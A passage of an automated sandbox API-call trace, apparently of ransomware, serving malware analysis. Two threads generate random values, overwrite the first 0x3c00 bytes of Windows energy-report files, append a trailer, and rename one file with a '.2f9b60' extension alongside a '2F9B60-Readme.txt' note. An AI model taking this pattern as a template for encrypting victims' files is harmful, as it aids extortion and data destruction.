Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d48 [0136.090] GetFileSizeEx (in: hFile=0x1d48, lpFileSize=0x3092f9c0 | out: lpFileSize=0x3092f9c0*=22016) returned 1 [0136.090] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x55fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.090] ReadFile (in: hFile=0x1d48, lpBuffer=0x3092f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3092f988, lpOverlapped=0x0 | out: lpBuffer=0x3092f940*, lpNumberOfBytesRead=0x3092f988*=0x4, lpOverlapped=0x0) returned 1 [0136.213] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0136.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0136.214] NtQuerySystemTime (in: CurrentTime=0x3092f880 | out: CurrentTime=0x3092f880*=132462177414526000) returned 0x0 [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x71eee553 [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x9aecd8e [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x1392abdb [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x64cd1838 [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x2e526de1 [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x4b6079aa [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x7c4e425d [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x65f66eee [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x76d5e61b [0136.214] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x4d8f83e1 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x76abb24a [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x58ce10a7 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x54ac32f9 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x206cc950 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x2955463 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x72a6c5ef [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x146c17be [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x5112d111 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x43c5018f [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x1bd09e4d [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x467c7548 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x55374b75 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x70022d3f [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x3ba2953b [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x19894879 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x26fc0c25 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x576968f0 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x1aa93615 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x6ab10912 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x1fd8d146 [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x1b12879a [0136.215] RtlRandomEx (in: Seed=0x3092f870 | out: Seed=0x3092f870) returned 0x35d50582 [0136.225] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.225] ReadFile (in: hFile=0x1d48, lpBuffer=0x2036bd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3092f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesRead=0x3092f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.329] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0136.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0136.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cbd170 [0136.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0136.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0136.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0136.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.331] WriteFile (in: hFile=0x1d48, lpBuffer=0x41cbd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3092f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesWritten=0x3092f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cbd170) returned 1 [0136.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0136.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd977b0 [0136.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0136.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0136.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0136.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd97350 [0136.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0136.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0136.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0136.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0136.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188710 [0136.429] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.429] WriteFile (in: hFile=0x1d48, lpBuffer=0x188710*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3092f990, lpOverlapped=0x0 | out: lpBuffer=0x188710*, lpNumberOfBytesWritten=0x3092f990*=0x12a, lpOverlapped=0x0) returned 1 [0136.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0136.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0136.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0136.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f9b0 [0136.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0136.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0136.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0136.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0136.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x42060930 [0136.569] sprintf (in: _Dest=0x42060930, _Format="%c%c" | out: _Dest="85") returned 2 [0136.569] sprintf (in: _Dest=0x42060932, _Format="%c%c" | out: _Dest="98") returned 2 [0136.569] sprintf (in: _Dest=0x42060934, _Format="%c%c" | out: _Dest="59") returned 2 [0136.569] sprintf (in: _Dest=0x42060936, _Format="%c%c" | out: _Dest="ca") returned 2 [0136.569] sprintf (in: _Dest=0x42060938, _Format="%c%c" | out: _Dest="cd") returned 2 [0136.569] sprintf (in: _Dest=0x4206093a, _Format="%c%c" | out: _Dest="2c") returned 2 [0136.569] sprintf (in: _Dest=0x4206093c, _Format="%c%c" | out: _Dest="fc") returned 2 [0136.569] sprintf (in: _Dest=0x4206093e, _Format="%c%c" | out: _Dest="21") returned 2 [0136.569] sprintf (in: _Dest=0x42060940, _Format="%c%c" | out: _Dest="8a") returned 2 [0136.569] sprintf (in: _Dest=0x42060942, _Format="%c%c" | out: _Dest="4c") returned 2 [0136.569] sprintf (in: _Dest=0x42060944, _Format="%c%c" | out: _Dest="a7") returned 2 [0136.569] sprintf (in: _Dest=0x42060946, _Format="%c%c" | out: _Dest="01") returned 2 [0136.569] sprintf (in: _Dest=0x42060948, _Format="%c%c" | out: _Dest="db") returned 2 [0136.569] sprintf (in: _Dest=0x4206094a, _Format="%c%c" | out: _Dest="51") returned 2 [0136.569] sprintf (in: _Dest=0x4206094c, _Format="%c%c" | out: _Dest="43") returned 2 [0136.569] sprintf (in: _Dest=0x4206094e, _Format="%c%c" | out: _Dest="f9") returned 2 [0136.569] sprintf (in: _Dest=0x42060950, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.570] sprintf (in: _Dest=0x42060952, _Format="%c%c" | out: _Dest="76") returned 2 [0136.570] sprintf (in: _Dest=0x42060954, _Format="%c%c" | out: _Dest="b8") returned 2 [0136.570] sprintf (in: _Dest=0x42060956, _Format="%c%c" | out: _Dest="5a") returned 2 [0136.570] sprintf (in: _Dest=0x42060958, _Format="%c%c" | out: _Dest="29") returned 2 [0136.570] sprintf (in: _Dest=0x4206095a, _Format="%c%c" | out: _Dest="95") returned 2 [0136.570] sprintf (in: _Dest=0x4206095c, _Format="%c%c" | out: _Dest="b4") returned 2 [0136.570] sprintf (in: _Dest=0x4206095e, _Format="%c%c" | out: _Dest="7f") returned 2 [0136.570] sprintf (in: _Dest=0x42060960, _Format="%c%c" | out: _Dest="56") returned 2 [0136.570] sprintf (in: _Dest=0x42060962, _Format="%c%c" | out: _Dest="b1") returned 2 [0136.570] sprintf (in: _Dest=0x42060964, _Format="%c%c" | out: _Dest="3a") returned 2 [0136.570] sprintf (in: _Dest=0x42060966, _Format="%c%c" | out: _Dest="82") returned 2 [0136.570] sprintf (in: _Dest=0x42060968, _Format="%c%c" | out: _Dest="b3") returned 2 [0136.570] sprintf (in: _Dest=0x4206096a, _Format="%c%c" | out: _Dest="84") returned 2 [0136.570] sprintf (in: _Dest=0x4206096c, _Format="%c%c" | out: _Dest="90") returned 2 [0136.570] sprintf (in: _Dest=0x4206096e, _Format="%c%c" | out: _Dest="ff") returned 2 [0136.570] sprintf (in: _Dest=0x42060970, _Format="%c%c" | out: _Dest="e7") returned 2 [0136.570] sprintf (in: _Dest=0x42060972, _Format="%c%c" | out: _Dest="b8") returned 2 [0136.570] sprintf (in: _Dest=0x42060974, _Format="%c%c" | out: _Dest="08") returned 2 [0136.570] sprintf (in: _Dest=0x42060976, _Format="%c%c" | out: _Dest="69") returned 2 [0136.570] sprintf (in: _Dest=0x42060978, _Format="%c%c" | out: _Dest="4a") returned 2 [0136.571] sprintf (in: _Dest=0x4206097a, _Format="%c%c" | out: _Dest="c8") returned 2 [0136.571] sprintf (in: _Dest=0x4206097c, _Format="%c%c" | out: _Dest="44") returned 2 [0136.571] sprintf (in: _Dest=0x4206097e, _Format="%c%c" | out: _Dest="e0") returned 2 [0136.571] sprintf (in: _Dest=0x42060980, _Format="%c%c" | out: _Dest="c4") returned 2 [0136.571] sprintf (in: _Dest=0x42060982, _Format="%c%c" | out: _Dest="69") returned 2 [0136.571] sprintf (in: _Dest=0x42060984, _Format="%c%c" | out: _Dest="43") returned 2 [0136.571] sprintf (in: _Dest=0x42060986, _Format="%c%c" | out: _Dest="57") returned 2 [0136.571] sprintf (in: _Dest=0x42060988, _Format="%c%c" | out: _Dest="18") returned 2 [0136.571] sprintf (in: _Dest=0x4206098a, _Format="%c%c" | out: _Dest="36") returned 2 [0136.571] sprintf (in: _Dest=0x4206098c, _Format="%c%c" | out: _Dest="b5") returned 2 [0136.571] sprintf (in: _Dest=0x4206098e, _Format="%c%c" | out: _Dest="26") returned 2 [0136.571] sprintf (in: _Dest=0x42060990, _Format="%c%c" | out: _Dest="e6") returned 2 [0136.571] sprintf (in: _Dest=0x42060992, _Format="%c%c" | out: _Dest="35") returned 2 [0136.571] sprintf (in: _Dest=0x42060994, _Format="%c%c" | out: _Dest="b0") returned 2 [0136.571] sprintf (in: _Dest=0x42060996, _Format="%c%c" | out: _Dest="56") returned 2 [0136.571] sprintf (in: _Dest=0x42060998, _Format="%c%c" | out: _Dest="87") returned 2 [0136.571] sprintf (in: _Dest=0x4206099a, _Format="%c%c" | out: _Dest="e7") returned 2 [0136.571] sprintf (in: _Dest=0x4206099c, _Format="%c%c" | out: _Dest="d5") returned 2 [0136.571] sprintf (in: _Dest=0x4206099e, _Format="%c%c" | out: _Dest="51") returned 2 [0136.571] RtlInitAnsiString (in: DestinationString=0x3092fa08, SourceString="859859cacd2cfc218a4ca701db5143f9c976b85a2995b47f56b13a82b38490ffe7b808694ac844e0c46943571836b526e635b05687e7d551" | out: DestinationString="859859cacd2cfc218a4ca701db5143f9c976b85a2995b47f56b13a82b38490ffe7b808694ac844e0c46943571836b526e635b05687e7d551") [0136.571] RtlAnsiStringToUnicodeString (in: DestinationString=0x3092f9d8, SourceString="859859cacd2cfc218a4ca701db5143f9c976b85a2995b47f56b13a82b38490ffe7b808694ac844e0c46943571836b526e635b05687e7d551", AllocateDestinationString=1 | out: DestinationString="859859cacd2cfc218a4ca701db5143f9c976b85a2995b47f56b13a82b38490ffe7b808694ac844e0c46943571836b526e635b05687e7d551") returned 0x0 [0136.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798e90 [0136.572] RtlFreeAnsiString (AnsiString="8") [0136.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0136.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188710) returned 1 [0136.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0136.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0136.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0136.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0136.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0136.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0136.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x119310 [0136.573] wcscat (in: _Dest=0x119310, _Source="859859cacd2cfc218a4ca701db51" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51" [0136.573] wcscat (in: _Dest=0x119310, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51.2f9b60" [0136.574] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51.2f9b60", NtPathName=0x3092f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798f80 [0136.574] NtSetInformationFile (FileHandle=0x1d48, IoStatusBlock=0x3092fa50, FileInformation=0x1b798f80, Length=0xe2, FileInformationClass=0xa) returned 0x0 [0136.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798f80) returned 1 [0136.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291f50) returned 1 [0136.654] NtQueryInformationFile (in: FileHandle=0x1d48, IoStatusBlock=0x3092fa18, FileInformation=0x3092fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3092fa18, FileInformation=0x3092fa28) returned 0x0 [0136.654] NtSetInformationFile (FileHandle=0x1d48, IoStatusBlock=0x3092fa18, FileInformation=0x3092fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 [0136.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 [0136.657] FlushFileBuffers (hFile=0x1d48) returned 1 [0138.538] CloseHandle (hObject=0x1d48) returned 1 [0138.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862510 [0138.658] wcscpy (in: _Dest=0x1b862510, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0138.658] wcscat (in: _Dest=0x1b862510, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" [0138.658] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt")) returned 0x20 [0138.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862510) returned 1 [0138.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 Thread: id = 1978 os_tid = 0x11c0 [0136.092] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml")) returned 0x20 [0136.094] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", dwFileAttributes=0x20) returned 1 [0136.094] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d4c [0136.095] GetFileSizeEx (in: hFile=0x1d4c, lpFileSize=0x3121fba0 | out: lpFileSize=0x3121fba0*=22016) returned 1 [0136.095] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x55fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.095] ReadFile (in: hFile=0x1d4c, lpBuffer=0x3121fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3121fb68, lpOverlapped=0x0 | out: lpBuffer=0x3121fb20*, lpNumberOfBytesRead=0x3121fb68*=0x4, lpOverlapped=0x0) returned 1 [0136.226] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0136.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0136.227] NtQuerySystemTime (in: CurrentTime=0x3121fa60 | out: CurrentTime=0x3121fa60*=132462177414682000) returned 0x0 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x29a2ed84 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x3173774f [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x278a3537 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x32ef72d4 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x412f0db4 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x1842804d [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0xe057f43 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x57c6074f [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x2615483e [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0xca2f142 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x35eb2275 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x6a8e2982 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0xca27c8b [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x3cafdb40 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x45a18559 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x31ac31e4 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0xc346041 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x203131b4 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x26a10cfd [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x7ffdd1cc [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x58e38c7c [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x3dcda7b2 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x15a4844d [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x5280eb62 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x25735415 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x29f087f6 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x44fed14e [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x5def2909 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x784cc982 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x7b0fcd83 [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x3599483d [0136.227] RtlRandomEx (in: Seed=0x3121fa50 | out: Seed=0x3121fa50) returned 0x35779382 [0136.236] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.237] ReadFile (in: hFile=0x1d4c, lpBuffer=0x203554e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3121fac0, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesRead=0x3121fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.334] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0136.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0136.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cc85a0 [0136.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0136.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0136.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2f0) returned 1 [0136.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.336] WriteFile (in: hFile=0x1d4c, lpBuffer=0x41cc85a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3121fac0, lpOverlapped=0x0 | out: lpBuffer=0x41cc85a0*, lpNumberOfBytesWritten=0x3121fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc85a0) returned 1 [0136.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0136.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97850 [0136.431] RtlAllocateHeap 